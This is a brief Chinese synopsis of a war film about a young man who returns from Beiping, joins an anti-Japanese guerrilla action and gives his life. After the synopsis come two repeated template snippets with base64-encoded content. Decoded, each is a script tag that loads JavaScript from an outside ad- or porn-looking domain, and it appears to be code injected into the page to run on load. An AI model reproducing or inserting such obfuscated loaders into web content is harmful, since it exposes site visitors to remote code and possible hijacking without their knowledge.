简介：影片以日本侵华战争为背景，主要讲述＂义兴张＂家的独子张乾兴从北平读书归来，无意中参于到抗日游击队的秘密行动，并最终为了民族利益献出生命的事迹。{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.
